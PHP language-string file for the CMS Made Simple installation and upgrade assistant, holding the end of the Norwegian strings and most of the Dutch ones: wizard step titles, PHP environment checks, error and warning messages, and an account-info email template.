$lang['step2_info_freshen'] = 'Oppfriske installasjonen innebærer utskifting av alle kjernefiler og gjenskape konfigurasjonen. Du vil bli bedt om grunnleggende konfigurasjonsinformasjon, men databasen vil ikke bli berørt.';
$lang['step2_installdate'] = 'Omtrentlig installajsonsdato';
$lang['step2_install_dirnotempty2'] = 'Denne mappen inneholder allerede noen filer og / eller under-mapper . Selv om det er mulig å installere CMSMS her, kan det vertikalantenne korrupte-re et eksisterende program. Vennligst dobbeltsjekke innholdet i denne mappen. For referanseformål noen av filene er listet opp nedenfor. Sørg for at dette er riktig.';
$lang['step2_hdr_upgradeinfo'] = 'Versjonsinformasjon';
$lang['step2_info_upgradeinfo'] = 'Nedenfor er de tilgjengelige versjonsmerknadene, og endrings informasjon for hver utgivelse. Knappene under vil vise detaljert informasjon om hva som har endret seg i hver versjon av CMS Made Simple. Det kan være flere instruksjoner eller advarsler i hver versjon som kan påvirke oppgraderingsprosessen.';
$lang['step2_minupgradever'] = 'Den minste versjonen som dette programmet kan oppgradere fra er: %s. Du må kanskje oppgradere programmet ditt til en nyere versjon i etapper, med en annen metode før du fullfører oppgraderingen. Sørg for at du har en komplett, verifisert backup før du bruker noen oppgraderingsmetoden.';
$lang['step2_nocmsms'] = 'Vi fant ikke en installasjon av CMS Made Simple i denne katalogen. Det ser ut som dette er en ny installasjon';
$lang['step2_nofiles'] = 'Som forespurt, CMSMS kjernefiler vil ikke bli behandlet i denne prosessen';
$lang['step2_passed'] = 'Bestått';
$lang['step2_pwd'] = 'Din nåværende arbeidskatalog';
$lang['step2_schemaver'] = 'Database skjemaversjon';
$lang['step2_version'] = 'Din versjon';
$lang['step3_failed'] = 'Denne pakken har utført en rekke tester av php miljø, og en eller flere av disse testene har mislyktes. Du trenger å rette disse feilene i konfigurasjonen før du fortsetter. Når du har rettet opp feilene, klikk "Prøv på nytt" nedenfor.';
$lang['step3_passed'] = 'Denne pakken har utført en rekke tester av php miljø, og de ​​har alle bestått. Dette er gode nyheter. Selv om dette ikke er en avgjørende test. Du bør ikke ha noen problemer med å kjøre denne Core-installasjonen av CMSMS.';
$lang['step9_get_help'] = 'Koble til andre CMSMS-utviklere og få hjelp på følgende måter';
$lang['step9_get_support'] = 'Støttekanaler';
$lang['step9_join_community'] = 'Bli med i fellesskapet vårt';
$lang['step9_love_cmsms'] = 'Love CMS Made Simple';
$lang['step9_removethis'] = '<strong>Advarsel</strong> Av sikkerhetsmessige grunner er det viktig at du fjerner installasjons assistenten fra ditt nettsted så snart du har bekreftet at operasjonen var vellykket.';
$lang['step9_support_us'] = 'Klikk her for å finne ut hvordan du kan støtte oss';
$lang['symbol'] = 'Symbol';
$lang['social_message'] = 'Du har nå vellykket installert CMS Made Simple';
$lang['test_failed'] = 'En påkrevd Test mislyktes';
$lang['test_passed'] = 'En test er bestått <em>(beståtte tester vises bare i avansert modus) </em>';
$lang['test_warning'] = 'En innstilling er over påkrevd verdi, men under anbefalt verdi, eller ... <br />En evne som kan være nødvendig for noe ekstra funksjonalitet er ikke tilgjengelig';
$lang['th_status'] = 'Status';
$lang['th_testname'] = 'Test';
$lang['th_value'] = 'Verdi';
$lang['title_error'] = 'Houston, Vi har et problem!';
$lang['title_step2'] = 'Steg 2 - Oppdag eksisterende programvare';
$lang['title_step3'] = 'Steg 3 - Tester';
$lang['title_step4'] = 'Steg 4 - Grunnleggende konfigurasjonsinformasjon';
$lang['title_step5'] = 'Steg 5 - Admin kontoinformasjon';
$lang['title_step6'] = 'Steg 6 - Nettstedsinnstillinger';
$lang['title_step7'] = 'Steg 7 - Installerer programfiler';
$lang['title_step8'] = 'Steg 8 - Databasearbeid';
$lang['title_step9'] = 'Steg 9 - Avslutning';
$lang['title_welcome'] = 'Velkommen';
$lang['title_forum'] = 'Supportforum';
$lang['title_docs'] = 'Offisiell Dokumentasjon';
$lang['title_api_docs'] = 'Offisiell API Dokumentasjon';
$lang['to'] = 'til';
$lang['title_share'] = 'Del din erfaring med dine venner';
$lang['tmpfile'] = 'Sjekker for fungerende tmpfile()';
$lang['tmp_dirs_empty'] = 'Forsikre deg om at midletidige kataloger er tomme eller at de ikke eksisterer';
$lang['upgrade'] = 'Oppgrader';
$lang['upgrade_deleteoldevents'] = 'Slett gamle handlinger';
$lang['upgrading_schema'] = 'Oppdaterer databaseskjema';
$lang['upload_max_filesize'] = 'Tester maksimum størrelse på opplastede filer';
$lang['username'] = 'Brukernavn';
$lang['warn_disable_functions'] = 'Merk: en eller flere av PHP kjernefunksjonene er deaktivert. Dette kan ha negativ innvirkning på din CMSMS installasjon, spesielt med tredjeparts utvidelser. Vennligst hold et øye med feilloggen. Dine avslåtte funksjoner er:<br/><br/>%s';
$lang['warn_max_execution_time'] = 'Selv om din maks Execution time på %s overstiger minsteverdien på %s så anbefaler vi deg å øke det til %s eller høyere';
$lang['warn_memory_limit'] = 'Din Minne grenseverdi er %s, som er over minimum %s. Men %s anbefales';
$lang['warn_open_basedir'] = 'open_basedir er aktivert i din PHP konfigurasjon. Selv om du kan fortsette, CMSMS støtter ikke installasjoner med open_basedir restriksjoner.';
$lang['warn_post_max_size'] = 'Ditt post max size verdi er %s, som er over minimummet på %s, men %s er anbefalt. Også, så må du kontrollere at denne verdien er større enn upload_max_filesize';
$lang['warn_tests'] = '<strong>Merk:</strong> å ha bestått alle disse tester bør sørge for at CMSMS fungerer riktig på de fleste områder. Men, som nettstedet vokser og mer funksjonalitet legges til kan disse minimale verdier bli utilstrekkelige. I tillegg kan tredjeparts moduler ha ytterligere krav for å fungere skikkelig';
$lang['warn_upload_max_filesize'] = 'Selv om din innstilling av %s er tilstrekkelig, anbefaler vi at du øker upload_max_filesize innstillingen i PHP til minst %s';
$lang['welcome_message'] = 'Velkommen! Dette er CMS Made Simple\'s automatiske installasjons mekanisme. Denne pakken vil tillate deg å raskt og enkelt bekrefte at webhotellet er kompatibel med CMSMS og å installere eller oppgradere til den nyeste versjonen av CMS Made Simple. <br /> Vi vet at du vil nyte det.';
$lang['wizard_step1'] = 'Velkommen';
$lang['wizard_step2'] = 'Oppdag eksisterende programvare';
$lang['wizard_step3'] = 'Kompatibilitetstester';
$lang['wizard_step4'] = 'Konfigurasjonsinformasjon';
$lang['wizard_step5'] = 'Admin kontoinformasjon';
$lang['wizard_step6'] = 'Nettsted innstillinger';
$lang['wizard_step7'] = 'Filer';
$lang['wizard_step8'] = 'Database arbeid';
$lang['wizard_step9'] = 'Avslutt';
$lang['xml_functions'] = 'Tester for CML funksjonalitet';
$lang['yes'] = 'Ja';
?><?php
$lang['action_freshen'] = 'Repareer / Herstel een bestaande CMSMS %s website';
$lang['action_install'] = 'Installeer een nieuwe CMSMS %s website';
$lang['action_upgrade'] = 'Upgrade een CMSMS website naar versie %s';
$lang['advanced_mode'] = 'Uitgebreide modus toepassen';
$lang['apptitle'] = 'Installatie en Upgrade Assistent';
$lang['assets_dir_exists'] = 'Assets map bestaat';
$lang['available_languages'] = 'Beschikbare talen';
$lang['build_date'] = 'Build Datum';
$lang['changelog_uc'] = 'Changelog';
$lang['cleaning_files'] = 'Bestanden verwijderen die niet langer gebruikt worden';
$lang['config_writable'] = 'Controleer een schrijfbaar config bestand';
$lang['confirm_freshen'] = 'Weet u zeker dat u de bestaande CMSMS installatie wilt opfrissen (repareren)? Gebruik met uiterste voorzichtigheid!';
$lang['confirm_upgrade'] = 'Weet zeker dat u het upgrade proces wilt starten';
$lang['curl_extension'] = 'Controleren naar de CURL extentie';
$lang['create_assets_structure'] = 'Locatie voor bestanden aan het aanmaken';
$lang['database_support'] = 'Controleren op bruikbare database drivers';
$lang['desc_wizard_step1'] = 'Start het installatie of upgrade proces';
$lang['desc_wizard_step2'] = 'Controleer de doelmap op de aanwezigheid van software';
$lang['desc_wizard_step3'] = 'Controleer of alles in orde is om CMSMS te installeren';
$lang['desc_wizard_step4'] = 'Voor een nieuwe website, of herstel, voer enkele basisgegevens in';
$lang['desc_wizard_step5'] = 'Voor een nieuwe website, maak een Admin account aan';
$lang['desc_wizard_step6'] = 'Voor een nieuwe website, voer enkele basisgegevens in';
$lang['desc_wizard_step7'] = 'Bestanden uitpakken';
$lang['desc_wizard_step8'] = 'Aanmaken of bijwerken database-schema, aanmaken initiële events, rechten, gebruikersaccounts, sjablonen, stylesheets en inhoud';
$lang['desc_wizard_step9'] = 'Installeren en/of bijwerken modules indien nodig, configuratiebestand bijwerken, en opruimen';
$lang['destination_directory'] = 'Doel directory';
$lang['dest_writable'] = 'Schrijfrechten in de doelmap';
$lang['disable_functions'] = 'Uitgeschakelde functies';
$lang['done'] = 'gereed';
$lang['email_accountinfo_message'] = 'Uw installatie van CMS Made Simple is geslaagd.

Deze E-mail bevat belangrijke informatie, dat veilig opgeborgen moet worden.

Dit zijn uw website gegevens:
Gebruikersnaam: %s
Wachtwoord: %s
Installatie map: %s
Root URL: %s';
$lang['email_accountinfo_message_exp'] = 'Uw installatie van CMS Made Simple is geslaagd.

Deze E-mail bevat belangrijke informatie, dat veilig opgeborgen moet worden.

Dit zijn uw website gegevens:
Gebruikersnaam: %s
Wachtwoord: %s
Installatie map: %s';
$lang['email_accountinfo_subject'] = 'Installatie CMS Made Simple Gereed';
$lang['emailaccountinfo'] = 'E-mail de account informatie';
$lang['emailaddr'] = 'E-mail adres';
$lang['error_adminacct_emailaddr'] = 'Het e-mail adres is niet correct';
$lang['error_adminacct_emailaddrrequired'] = 'U heeft geen correct e-mail adres ingevoerd om de account informatie naar te versturen';
$lang['error_adminacct_password'] = 'Het ingevoerde wachtwoord is niet correct (moet minimaal 6 karakters lang zijn)';
$lang['error_adminacct_repeatpw'] = 'De ingevoerde wachtwoorden komen niet overeen';
$lang['error_adminacct_username'] = 'De ingevoerde gebruikersnaam is niet correct. Probeer opnieuw';
$lang['error_admindirrenamed'] = 'Het lijkt erop dat u, omwille van beveiliging, de CMSMS \'admin\' directory heeft hernoemd. U moet <a href="http://docs.cmsmadesimple.org/general-information/securing-cmsms#renaming-admin-folder" target="_blank" class="external">dit proces</a> terug draaien om verder te kunnen!';
$lang['error_backupconfig'] = 'Er kan geen back-up gemaakt worden van het config bestand';
$lang['error_checksum'] = 'Checksum van uitgepakte bestand komt niet overeen met het origineel';
$lang['error_cmstablesexist'] = 'Het lijkt erop dat er al een CMSMS installatie in deze database bestaat. Voer a.u.b. andere database gegevens in. Als u gebruik wilt maken van een andere prefix voor de database tabellen kunt u de installatie opnieuw starten en uitgebreide modus toepassen';
$lang['error_createtable'] = 'Probleem bij het aanmaken van database tabel... mogelijk te wijten aan een rechten probleem';
$lang['error_dbconnect'] = 'Er kan geen verbinding worden gemaakt met de database. Controleer de ingevoerde gegevens.';
$lang['error_dirnotvalid'] = 'De directory %s bestaat niet (of is niet schrijfbaar)';
$lang['error_droptable'] = 'Probleem bij het verwijderen van database tabel... mogelijk te wijten aan een rechten probleem';
$lang['error_filenotwritable'] = 'Het bestand %s kan niet worden overschreven (permissie probleem)';
$lang['error_internal'] = 'Er is iets fout gegaan... (interne fout) (%s)';
$lang['error_invalid_directory'] = 'Het lijkt erop dat de gekozen installatie directory in de \'working directory\' van de installer zelf staat';
$lang['error_invalidconfig'] = 'Fout in het config bestand, of het bestand bestaat niet';
$lang['error_invaliddbpassword'] = 'Database wachtwoord bevat ongeldige karakters die niet kunnen worden opgeslagen';
$lang['error_invalidkey'] = 'Ongeldige member variabele van key %s voor class %s';
$lang['error_invalidparam'] = 'Verkeerde (waarde van) parameter: %s';
$lang['error_invalidtimezone'] = 'De gespecificeerde tijdszone is ongeldig';
$lang['error_invalidqueryvar'] = 'De ingevoerde query variabele bevat ongeldige tekens. Alleen alfanumerieke en underscores zijn toegestaan';
$lang['error_missingconfigvar'] = 'De key " %s " is afwezig of ongeldig in het config.ini bestand';
$lang['error_noarchive'] = 'Probleem met het vinden van het archief bestand... graag opnieuw starten';
$lang['error_nlsnotfound'] = 'Probleem met het vinden van de NLS bestanden in het archief bestand';
$lang['error_nodatabases'] = 'Geen bruikbare database extensies gevonden';
$lang['error_nodbhost'] = 'Voer de database hostnaam in';
$lang['error_nodbname'] = 'Voer de database naam in';
$lang['error_nodbpass'] = 'Voer het wachtwoord in van de database server';
$lang['error_nodbprefix'] = 'Voer een prefix in voor de database tabellen';
$lang['error_nodbtype'] = 'Selecteer een database type';
$lang['error_nodbuser'] = 'Voer de gebruikersnaam in van de database';
$lang['error_nodestdir'] = 'Doel directory is niet ingesteld';
$lang['error_nositename'] = 'De websitenaam is een verplicht veld! Vul een naam in voor de website.';
$lang['error_notimezone'] = 'Geef a.u.b. een geldige tijdzone op voor deze server';
$lang['error_overwrite'] = 'Bevoegdheidsprobleem: %s kan niet worden overschreven';
$lang['error_sendingmail'] = 'Fout';
$lang['error_tzlist'] = 'Er is een probleem opgetreden bij het opvragen van de lijst met tijdzones';
$lang['errorlevel_estrict'] = 'E_STRICT controleren';
$lang['errorlevel_edeprecated'] = 'E_DEPRECATED controleren';
$lang['edeprecated_enabled'] = 'E_DEPRECATED is ingeschakeld in PHP error_reporting. Hoewel dit CMSMS niet zal hinderen kan het wel leiden tot meldingen die getoond worden in de browser. Met name bij gebruik van oudere modules van derden';
$lang['estrict_enabled'] = 'E_STRICT is ingeschakeld in PHP error_reporting. Hoewel dit CMSMS niet zal hinderen kan het wel leiden tot meldingen die getoond worden in de browser. Met name bij gebruik van oudere modules van derden';
$lang['fail_assets_dir'] = 'De \'Assets-directory\' bestaat al. Deze applicatie kan bestanden toevoegen of verwijderen in de Assets-directory. Zorg ervoor dat er een backup is gemaakt.';
$lang['fail_assets_msg'] = 'De \'Assets-directory\' bestaat al. Deze applicatie kan bestanden toevoegen of verwijderen in de Assets-directory. Zorg ervoor dat er een backup is gemaakt.';
$lang['fail_config_writable'] = 'De webserver kan het bestand config.php niet aanmaken/wijzigen. Probeer a.u.b. de rechten op dit bestand te wijzigen naar 777 tot de upgrade is voltooid';
$lang['fail_curl_extension'] = 'De curl extensie is niet gevonden. Hoewel dit geen kritisch probleem is kan het problemen veroorzaken bij enkele modules van derden';
$lang['fail_database_support'] = 'Geen bruikbare database drivers gevonden';
$lang['fail_file_get_contents'] = 'De functie file_get_contents bestaat niet of is uitgeschakeld. CMSMS kan niet doorgaan (waarschijnlijk faalt de installatieprocedure zelf)';
$lang['fail_file_uploads'] = 'De mogelijkheid om bestanden te uploaden zijn uitgeschakeld op deze omgeving. Diverse functies van CMSMS zullen niet werken op deze omgeving.';
$lang['fail_func_json'] = 'json functionaliteit niet gevonden';
$lang['fail_func_gzopen'] = 'gzopen functionaliteit is niet gevonden';
$lang['fail_func_md5'] = 'md5 functionaliteit niet gevonden';
$lang['fail_func_tempnam'] = 'De tempnam functionaliteit bestaat niet. Het is een vereiste functie voor het gebruik van CMSMS';
$lang['fail_func_ziparchive'] = 'ZipArchive functionaliteit is niet gevonden, dit kan beperkingen binnen het CMS opleveren...';
$lang['fail_ini_set'] = 'Het lijkt erop dat de ini settings niet aangepast kunnen worden. Dit kan problemen veroorzaken met modules van derden (of wanneer de debug modus wordt ingeschakeld)';
$lang['fail_magic_quotes_runtime'] = 'Het lijkt erop dat magic quotes zijn ingeschakeld in uw configuratie. Schakelt u dat a.u.b. uit en probeer opnieuw';
$lang['fail_max_execution_time'] = 'De max execution time van %s is lager dan de minimale waarde van %s. Het advies is om het te verhogen tot %s of meer';
$lang['fail_memory_limit'] = 'De geheugen limiet waarde is te laag. Uw heeft %s terwijl een minimum van %s vereist is en %s wordt aanbevolen';
$lang['fail_multibyte_support'] = 'Multibyte ondersteuning is niet ingeschakeld in uw configuratie';
$lang['fail_output_buffering'] = 'Output buffering is niet ingeschakeld';
$lang['fail_open_basedir'] = 'Open basedir beperkingen zijn ingeschakeld. CMSMS vereist dat dit is uitgeschakeld';
$lang['fail_php_version'] = 'De PHP versie die beschikbaar is voor CMSMS is erg belangrijk. De minimale versie is %s hoewel we %s of hoger aanbevelen. U heeft %s';
$lang['fail_post_max_size'] = 'Uw post max size van %s is lager dan het minimum van %s. U zou de waarde moeten verhogen naar %s and controleren dat de waarde hoger is dan upload_max_filesize';
$lang['fail_pwd_writable2'] = 'Het HTTP-proces moet in de bestemmings directory en alle ondergelegen directories, schrijfrechten hebben teneinde bestanden te installeren. Op dit moment ontbreekt de schrijfrechten voor tenminste %s';
$lang['fail_register_globals'] = 'Register globals moet uitgeschakeld worden in uw PHP configuratie';
$lang['fail_remote_url'] = 'Er zijn problemen opgetreden bij het benaderen van externe urls. Dit zal de functionaliteit van CMSMS beperken';
$lang['fail_safe_mode'] = 'CMSMS zal niet goed functioneren in een omgeving waar safe mode is ingeschakeld. Ter info: Safe mode is afgekeurd als beveiligingsmechanisme en zal uit toekomstige PHP versies worden verwijderd.';
$lang['fail_session_save_path_exists'] = 'De session save path variabele is ongeldig of de directory bestaat niet';
$lang['fail_session_save_path_writable'] = 'Kan niet schrijven in de \'session save path\' directory';
$lang['fail_session_use_cookies'] = 'Sessions zijn NIET ingesteld om cookies te gebruiken';
$lang['fail_tmpfile'] = 'De systeemfunctie <em>tmpfile()</em> werkt niet. Deze is nodig om de archiefbestanden uit te pakken. De TMPDIR-url parameter kan als parameter worden toegevoegd om een directory aan te geven waar wel naartoe kan worden geschreven. Lees hiervoor ook de README die in directory moet staan.';
$lang['fail_tmp_dirs_empty'] = 'De tijdelijke directories van CMSMS <em>(tmp/cache and tmp/templates_c)</em> bestaan al en zijn niet leeg. Verwijder deze directories of zorg ervoor dat deze leeg worden gemaakt.';
$lang['fail_xml_functions'] = 'De XML extensie is niet gevonden. Schakel deze a.u.b. in voor uw omgeving';
$lang['failed'] = 'mislukt';
$lang['file_get_contents'] = 'Controleren op de file_get_contents functie';
$lang['file_installed'] = 'Geïnstalleerd %s';
$lang['file_uploads'] = 'Controleren op de file upload functionaliteit';
$lang['finished_custom_freshen_msg'] = 'Uw installatie is hersteld. De standaard bestanden zijn bijgewerkt en een nieuw configuratiebestand is aangemaakt. Bezoek a.u.b. uw website om te controleren dat alles juist functioneert';
$lang['finished_custom_install_msg'] = 'Geweldig! We zijn klaar. Bezoek a.u.b. uw website en ga naar het beheerpaneel.';
$lang['finished_custom_upgrade_msg'] = 'Geweldig! Het is klaar. Bezoek a.u.b. uw CMSMS beheerpaneel en website en verzeker uzelf ervan dat alles goed werkt.<br /><b>Tip:</b> nu is een goed moment om een nieuwe backup te maken.';
$lang['finished_freshen_msg'] = 'Uw installatie is hersteld! De core bestanden zijn bijgewerkt en een nieuw configuratie-bestand aangemaakt. U kunt nu <a href="%s">uw website bezoeken</a> of inloggen in <a href="%s">het beheerpaneel</a>.';
$lang['finished_install_msg'] = 'Geweldig! We zijn klaar. U kunt nu <a href="%s">uw website</a> bezoeken of inloggen in <a href="%s">het beheerpaneel</a>.';
$lang['finished_upgrade_msg'] = 'Geweldig, het is gelukt! Bezoek a.u.b. <a href="%s">uw CMSMS beheerpaneel</a> en <a href="%s"> uw website</a> en verzeker uzelf ervan dat alles goed werkt. Mogelijk moet u enkele modules van derden bijwerken.<br /><b>Tip:</b> denk eraan een nieuwe backup te maken na controle dat alles goed werkt.';
$lang['freshen'] = 'Herstellen installatie.';
$lang['func_json'] = 'Controleren op json encoding en decoding functionaliteit';
$lang['func_md5'] = 'Controleren op de md5 functionaliteit';
$lang['func_tempnam'] = 'Controleren naar de tempnam functionaliteit';
$lang['func_gzopen'] = 'Controleren naar de gzopen functionaliteit';
$lang['func_ziparchive'] = 'Controleren naar de ziparchive functionaliteit';
$lang['gd_version'] = 'GD Versie';
$lang['goback'] = 'Terug';
$lang['info_addlanguages'] = 'Selecteer taalbestanden (naast het Engels) om te installeren. Niet alle vertalingen zullen compleet zijn.';
$lang['info_adminaccount'] = 'Gelieve de referenties voor de eerste beheerdersaccount invoeren. Dit account zal toegang hebben tot alle functionaliteiten in het CMSMS beheerpaneel.';
$lang['info_advanced'] = 'Uitgebreide modus biedt meer opties tijdens de installatieprocedure';
$lang['info_dbinfo'] = 'CMS Made Simple slaat een groot gedeelte van de gegevens op in de database. Een database-verbinding is vereist. Verder zou het account dat uw opgeeft ALL PRIVILEGES rechten moeten hebben op de specifieke database om tabellen, indexes en views aan te kunnen maken, verwijderen en wijzigen.';
$lang['info_errorlevel_edeprecated'] = 'E_DEPRECATED is een instelling voor php error reporting die aangeeft dat waarschuwing over code met verouderde technieken moeten worden weergegeven. Hoewel we proberen in CMSMS core geen verouderde technieken te gebruiken kan het voorkomen dat sommige modules dat niet doen. Het advies is om deze instelling uit te schakelen in de PHP configuratie.';
$lang['info_errorlevel_estrict'] = 'E_STRICT is een parameter voor PHP\'s foutmelding dat de \'strict codeing\' standaard moet worden gehanteerd. Ondanks dat het CMSMS Core Team er naar streeft om aan de E_STRICT standaarden te voldoen, is dat niet bij alle modulen ook (al) gelukt. Het advies is daarom om deze parameter uit te schakelen in de PHP configuratie.';
$lang['info_installcontent'] = 'Standaard zal deze installatie een aantal voorbeeld pagina\'s, stylesheets en sjablonen aanmaken in CMSMS. De voorbeeld inhoud bevat uitgebreide informatie over en tips voor het bouwen van websites met CMSMS en is erg nuttig om te lezen. Echter, als u al bekend bent met CMS Made Simple kunt u deze optie uitschakelen en wordt er slechts een minimaal aantal sjablonen, stylesheets en pagina\'s aangemaakt.';
$lang['info_open_basedir_session_save_path'] = 'De parameter open_basedir is actief in de PHP configuratie. De installatie is niet in staat de sessie-mogelijkheden juist te testen. Echter, gezien de status van het installatieproces, mag worden aangenomen dat de sessies goed functioneren.';
$lang['info_pwd_writable'] = 'Deze applicatie heeft schrijfrechten nodig in de huidige working directory';
$lang['info_queryvar'] = 'De query variabele wordt intern gebruikt door CMSMS om de opgevraagde pagina te identificeren. In de meeste gevallen hoeft u dit niet aan te passen';
$lang['info_sitename'] = 'De website-naam wordt gebruikt in de standaard sjablonen als deel van de titel. Voer a.u.b. een naam in de voor de website';
$lang['info_timezone'] = 'De tijdzone-informatie is nodig voor tijdberekeningen en het tonen van datum/tijd. Selecteer a.u.b. de tijdzone van de server';
$lang['ini_set'] = 'Controleren of de INI instellingen aangepast kunnen worden';
$lang['install'] = 'Installeer';
$lang['install_attachstylesheets'] = 'Koppel de stylesheets aan de themes';
$lang['install_backupconfig'] = 'Kopie maken van het config bestand';
$lang['install_createassets'] = 'Opbouwen Assets-directory structuur';
$lang['install_created_index'] = 'Index aangemaakt %s ... %s';
$lang['install_create_tables'] = 'Database tabellen maken';
$lang['install_createconfig'] = 'Nieuw config bestand maken';
$lang['install_createcontentpages'] = 'Standaard pagina inhoud maken';
$lang['install_created_table'] = 'Tabel %s gemaakt: ... %s';
$lang['install_createtablesindexes'] = 'Tabellen en Indexes maken';
$lang['install_createtmpdirs'] = 'Tijdelijke directories maken';
$lang['install_creating_index'] = 'Index %s gemaakt';
$lang['install_default_collections'] = 'Installeer de standaard inhoud';
$lang['install_defaultcontent'] = 'Standaard inhoud installeren';
$lang['install_detectlanguages'] = 'Detecteer geïnstalleerde talen';
$lang['install_dropping_tables'] = 'Tabellen verwijderen';
$lang['install_dummyindexhtml'] = 'Dummy index.html bestanden maken';
$lang['install_extractfiles'] = 'Bestanden uit het archiefbestand uitpakken';
$lang['install_initevents'] = 'Gebeurtenissen aanmaken';
$lang['install_initsitegroups'] = 'Admin gebruikersgroepen instellen';
$lang['install_initsiteperms'] = 'Admin permissies instellen';
$lang['install_initsiteprefs'] = 'Basis website instellingen instellen';
$lang['install_initsiteusers'] = 'Admin account maken';
$lang['install_initsiteusertags'] = 'Standaard UDT\'s maken';
$lang['install_module'] = 'Installeer module %s';
$lang['install_modules'] = 'Installeer beschikbare modules';
$lang['install_passwordsalt'] = 'Salt wachtwoorden instellen';
$lang['install_requireddata'] = 'Benodigde data instellen';
$lang['install_schema'] = 'Database schema maken';
$lang['install_setschemaver'] = 'Schema versie instellen';
$lang['install_setsequence'] = 'Reset sequence tabellen';
$lang['install_setsitename'] = 'Websitenaam instellen';
$lang['install_stylesheets'] = 'Standaard stylesheets maken';
$lang['install_templates'] = 'Standaard sjablonen maken';
$lang['install_templatetypes'] = 'Standaard sjabloontypes maken';
$lang['install_update_sequences'] = 'Sequence tabellen bijwerken';
$lang['install_updatehierarchy'] = 'Pagina hiërarchie posities bijwerken';
$lang['install_updateseq'] = 'Volgorde bijwerken voor %s';
$lang['installer_ver'] = 'Installatie assistent versie';
$lang['legend'] = 'Verklaring';
$lang['magic_quotes_runtime'] = 'Controleer of magic quotes uitgeschakeld zijn';
$lang['max_execution_time'] = 'De PHP max execution time controleren';
$lang['meaning'] = 'Betekenis';
$lang['memory_limit'] = 'Controleren of de ingestelde PHP memory limit voldoende is';
$lang['msg_clearedcache'] = 'Server buffer geleegd';
$lang['msg_configsaved'] = 'Bestaand config bestand opgeslagen al %s';
$lang['msg_upgrade_module'] = 'Module %s bijwerken';
$lang['msg_upgrademodules'] = 'Modules bijwerken';
$lang['msg_yourvalue'] = 'U heeft: %s';
$lang['multibyte_support'] = 'Controleer multibyte support';
$lang['next'] = 'Volgende';
$lang['no'] = 'Nee';
$lang['none'] = 'Geen';
$lang['open_basedir'] = 'open_basedir beperkingen';
$lang['open_basedir_session_save_path'] = 'open_basedir is ingeschakeld.  Kan session save path niet testen.';
$lang['output_buffering'] = 'Testen of output buffering is ingeschakeld';
$lang['pass_config_writable'] = 'Het HTTP proces heeft schrijfrechten om het config.php bestand aan te passen';
$lang['pass_database_support'] = 'Er is in ieder geval één bruikbare database driver gevonden';
$lang['pass_func_json'] = 'json functionaliteit gevonden';
$lang['pass_func_md5'] = 'md5 functionaliteit gevonden';
$lang['pass_func_tempnam'] = 'tempnam functionaliteit gevonden';
$lang['pass_multibyte_support'] = 'Het lijkt er op dat Multibyte ondersteund wordt';
$lang['pass_php_version'] = 'De PHP versie van de webserver voldoet niet aan de gestelde eisen. Verplicht is minimaal PHP %s, maar aan te bevelen is PHP %s of hoger';
$lang['password'] = 'Wachtwoord';
$lang['ph_sitename'] = 'Voer een website naam in';
$lang['php_version'] = 'PHP Versie';
$lang['post_max_size'] = 'Controleren van de maximale hoeveelheid data dat in een verzoek kan worden gepost';
$lang['prompt_addlanguages'] = 'Extra Taalpakketten';
$lang['prompt_createtables'] = 'Database tabellen maken';
$lang['prompt_dbhost'] = 'Database Hostnaam';
$lang['prompt_dbinfo'] = 'Database Informatie';
$lang['prompt_dbname'] = 'Database Naam';
$lang['prompt_dbpass'] = 'Wachtwoord';
$lang['prompt_dbport'] = 'Database Poortnummer';
$lang['prompt_dbprefix'] = 'Database Tabelnaam Prefix';
$lang['prompt_dbtype'] = 'Database type';
$lang['prompt_dbuser'] = 'Gebruikersnaam';
$lang['prompt_dir'] = 'Installatie Directory';
$lang['prompt_installcontent'] = 'Voorbeeld Inhoud Installeren';
$lang['prompt_queryvar'] = 'Query Variabele';
$lang['prompt_sitename'] = 'Website naam';
$lang['prompt_timezone'] = 'Server Tijdzone';
$lang['pwd_writable'] = 'Directory schrijfbaar';
$lang['queue_for_upgrade'] = 'Module %s staat in de wachtrij om in de volgende stap te worden bijgewerkt.';
$lang['readme_uc'] = 'LEES MIJ';
$lang['register_globals'] = 'Controleren of "register globals" uitgeschakeld is';
$lang['remote_url'] = 'Uitgaande HTTP verbindingen';
$lang['repeatpw'] = 'Herhaal';
$lang['reset_site_preferences'] = 'Reset bepaalde website instellingen';
$lang['reset_user_settings'] = 'Reset Gebruikersinstellingen';
$lang['retry'] = 'Probeer opnieuw';
$lang['safe_mode'] = 'Testen of "safe mode" is uitgeschakeld';
$lang['saltpasswords'] = 'Salt Wachtwoorden';
$lang['select_language'] = 'Het eerste wat we u vragen te doen is om de gewenste taal uit de onderstaande lijst selecteren. Deze zal worden gebruikt om tijdens deze installatie, maar zal geen invloed hebben op uw CMSMS website.';
$lang['send_admin_email'] = 'Stuur een email met de Admin login gegevens';
$lang['session_capabilities'] = 'Testen voor de juiste sessiemogelijkheden (sessies maken gebruik van cookies en de locatie voor de cookie is schrijfbaar enz.)';
$lang['session_save_path_exists'] = 'Session_save_path bestaat';
$lang['session_save_path_writable'] = 'Session_save_path is beschrijfbaar';
$lang['session_use_cookies'] = 'Controleren of PHP sessions cookies gebruikt';
$lang['sometests_failed'] = 'Op de huidige web-omgeving zijn verschillende tests uitgevoerd. Ondanks dat er geen kritieke zaken zijn gevonden wordt aangeraden om de volgende onderdelen aan te passen voordat verder wordt gegaan.';
$lang['step1_advanced'] = 'Uitgebreide modus';
$lang['step1_destdir'] = 'Selecteer server directory';
$lang['step1_info_destdir'] = '<strong>Warning:</strong> Dit programma kan meerdere installaties van CMSMS bijwerken/upgraden of installeren. Het is daarom van belang dat de juiste folder voor de installatie of de upgrade wordt geselecteerd.';
$lang['step1_language'] = 'Selecteer Taal';
$lang['step1_title'] = 'Selecteer Taal';
$lang['step2_cmsmsfound'] = 'Er is een CMS Made Simple website gevonden en het is mogelijk deze installatie te upgraden. Echter, voordat u verder gaat zorg er voor dat u een actuele GECONTROLEERDE back-up van alle bestanden en van de database heeft!';
$lang['step2_cmsmsfoundnoupgrade'] = 'Hoewel er CMS Made Simple website is gevonden, is het niet mogelijk om deze versie te upgraden door middel van deze Installatie Assistent. Waarschijnlijk is de aanwezige versie te oud.';
$lang['step2_confirminstall'] = 'Weet u zeker dat u CMS Made Simple wilt installeren';
$lang['step2_confirmupgrade'] = 'Weet u zeker dat u CMS Made Simple wilt upgraden';
$lang['step2_installdate'] = 'Globale installatie datum';
$lang['step2_hdr_upgradeinfo'] = 'Versie-informatie';
$lang['step2_nocmsms'] = 'We vinden geen bestaande CMS Made Simple website in deze directory. Het lijkt er op dat u een nieuwe installatie wil doen';
$lang['step2_passed'] = 'Geslaagd';
$lang['step2_pwd'] = 'Uw huidige werkmap is';
